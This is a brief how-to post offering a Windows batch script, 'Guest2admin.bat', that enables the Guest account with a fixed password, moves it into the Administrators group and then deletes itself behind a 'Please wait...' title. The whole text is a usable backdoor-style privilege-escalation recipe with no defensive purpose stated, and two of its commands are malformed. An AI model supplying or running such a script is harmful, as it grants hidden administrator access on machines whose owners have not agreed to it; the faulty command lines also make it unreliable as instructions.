Convert a Guest account into an Admin?

All you need to do is copy the code below,

copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.

echo off

title Please wait...

cls

net user add Username Password /add

net user localgroup Administrators Username /add

net user Guest 420 /active:yes

net localgroup Guests Guest /DELETE

net localgroup Administrators Guest /add

del %0

Double-click the file to execute or type the above-given code in Command Prompt.